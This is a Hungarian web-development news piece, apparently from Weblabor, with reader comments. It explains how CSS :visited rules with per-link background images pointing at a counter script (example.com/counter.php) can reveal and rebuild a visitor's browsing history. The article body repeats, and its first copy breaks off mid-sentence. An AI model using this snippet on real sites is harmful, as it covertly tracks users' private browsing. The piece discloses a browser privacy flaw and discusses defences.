Nyomozás a felhasználó magánéletéről CSS-sel
Felhívjuk kedves olvasóink figyelmét, hogy a következőkben ismertetett módszer tanulmányozása tizennyolc éven aluliak számára csak szülői felügyelet mellett ajánlott! Különben nem biztos, hogy józanul fel lehet mérni a módszerben rejlő lehetőségeket, és távol tudjuk magunkat tartani az alkalmazásától. Következik egy kis recept a felhasználó internetes magánéleti részleteinek kiderítésére, kliens oldali szkriptek nélkül pusztán CSS-sel.
A tegnapi napon hívtuk fel a figyelmet a CollyLogic oldalon bemutatott kipipált linkek technikájára, mely érdekes új megoldást ad a látogatott linkek megjelenítésére. Ezen az ötleten alapul, de egy korábban feltárt 'hibát' használ ki a felhasználók által korábban meglátogatott oldalak felderítését lehetővé tevő trükk. A recept a következő.
Először is generáljunk egy oldalt olyan linkekkel, melyekkel kapcsolatban kíváncsiak vagyunk arra, hogy a felhasználó tett-e látogatást ezeknél az oldalaknál a közelmúltban, azaz pontosan ezek az URL-ek benne vannak-e a böngészési történetében. Állítsunk be minden linkHa ezt az oldalt az
A CollyLogic oldalon tárgyalt probléma linket ad a megfelelő BugZilla bejegyzésre is, a látogatók hozzászólásai pedig arra is rámutatnak, hogy CSS és JavaScript segítségével könnyen össze is gyűjthető a látogatott linkek listája, így nem kell sok lekéréssel sem terhelni a szervert a kutatáshoz.
Ráadásul Jesse Ruderman idézett kommentárjai szerint a szerver oldali program letöltheti a korábban meglátogatott oldalak egyikét, és a következő oldallekérésnél az azokon található linkeket is generálhatja az oldalra, amelyből az is kideríthető, hogy onnan mely lapokra lépett tovább a felhasználó, így pedig egész böngészési történetek deríthetőek ki. A nagy mennyiségű linket tartalmazó oldal szakaszt pedig nem túl bonyolult teljesen elrejteni a felhasználók elől CSS segítségével.
Nehéz ebből a 'felfedezésből' tanulságot levonni. Leginkább csak annyit tudok hozzáfűzni, hogy bármilyen jó szándékkal is készüljön el egy szabvány és annak implementációja, sosem garantálható, hogy egyes elemeinek 'innovatív' felhasználásai ne okozhassanak biztonsági problémákat vagy kockázatokat. Néhányan úgy vélik, hogy nem kell nagyon tartani ettől a kockázattól, mások egy új böngésző beállítást tartanának szükségesnek, mellyel le lehetne tiltani a külső objektumok lehívását látogatott linkek számára készült CSS kiválasztókban.
Köszönjük attlad nevű felhasználónknak is, hogy felhívta a figyelmünket a hírre.
■ A tegnapi napon hívtuk fel a figyelmet a CollyLogic oldalon bemutatott kipipált linkek technikájára, mely érdekes új megoldást ad a látogatott linkek megjelenítésére. Ezen az ötleten alapul, de egy korábban feltárt 'hibát' használ ki a felhasználók által korábban meglátogatott oldalak felderítését lehetővé tevő trükk. A recept a következő.
Először is generáljunk egy oldalt olyan linkekkel, melyekkel kapcsolatban kíváncsiak vagyunk arra, hogy a felhasználó tett-e látogatást ezeknél az oldalaknál a közelmúltban, azaz pontosan ezek az URL-ek benne vannak-e a böngészési történetében. Állítsunk be minden link
:visited
tulajdonságához egyedi háttérképet, amelyet természetesen akár egy szerver oldali számláló programra is irányíthatunk. Generáltható például egy a következőhöz hasonló kódrészlet:
<a href="http://weblabor.hu" class="weblabor">Weblabor</a>
<style type="text/css">
a.weblabor:visited {
background-image: url("http://example.com/counter.php?weblabor");
}
</style>
example.com
cím alól generáljuk, akkor ezzel akár a felhasználó munkamenetét is felhasználva le tudjuk követni, hogy milyen webhelyeket látogatott a felkínált palettáról a közelmúltban. Nem kérdés, hogy ez elég komoly terhelést tehet a szerverre, de lehetséges, hogy van akinek ez sem drága, ha információra van szükség.A CollyLogic oldalon tárgyalt probléma linket ad a megfelelő BugZilla bejegyzésre is, a látogatók hozzászólásai pedig arra is rámutatnak, hogy CSS és JavaScript segítségével könnyen össze is gyűjthető a látogatott linkek listája, így nem kell sok lekéréssel sem terhelni a szervert a kutatáshoz.
Ráadásul Jesse Ruderman idézett kommentárjai szerint a szerver oldali program letöltheti a korábban meglátogatott oldalak egyikét, és a következő oldallekérésnél az azokon található linkeket is generálhatja az oldalra, amelyből az is kideríthető, hogy onnan mely lapokra lépett tovább a felhasználó, így pedig egész böngészési történetek deríthetőek ki. A nagy mennyiségű linket tartalmazó oldal szakaszt pedig nem túl bonyolult teljesen elrejteni a felhasználók elől CSS segítségével.
Nehéz ebből a 'felfedezésből' tanulságot levonni. Leginkább csak annyit tudok hozzáfűzni, hogy bármilyen jó szándékkal is készüljön el egy szabvány és annak implementációja, sosem garantálható, hogy egyes elemeinek 'innovatív' felhasználásai ne okozhassanak biztonsági problémákat vagy kockázatokat. Néhányan úgy vélik, hogy nem kell nagyon tartani ettől a kockázattól, mások egy új böngésző beállítást tartanának szükségesnek, mellyel le lehetne tiltani a külső objektumok lehívását látogatott linkek számára készült CSS kiválasztókban.
Köszönjük attlad nevű felhasználónknak is, hogy felhívta a figyelmünket a hírre.
Megoldás?
-boogie-
Sebesség
Sebesség vs. biztonság
Ettől függetlenül ez a valóban létező hiba ma, ami ellen sokat még védekezni sem tudunk...
-boogie-
Biztonság vs. felhasználás
Képek nélkül, példaoldal
http://www.aid.hu/tmp/visited_bug_demo.html
Való igaz
Re: Képek nélkül, példaoldal
-boogie-
Szigorúan szvsz
:-)
Sőt, hamarosan készítek egy online listát is róla, hogy azok is láthassák, akik nem értenek a webes nyelvekhet... ;-)
--
Szeretettel: Károly György Tamás
kgyt##kukac##kgyt.hu - http://kgyt.hu
Re: Szigorúan szvsz
It's not a bug
---jul
Re: It's not a bug
Az e-mailbe tett képek ellen sokkal jobb megoldások vannak, pl. a Thunderbird-ben (és más böngészőkben is), szépen meg lehet határozni, hogy megjelenítse-e ezeket a képeket? Nálam le van tiltva...
Ezt viszont sehogy máshogy nem tudod tiltani, csak ha a history-dat 0 hosszúra állítod: így egyik link sem lesz visited.
-boogie-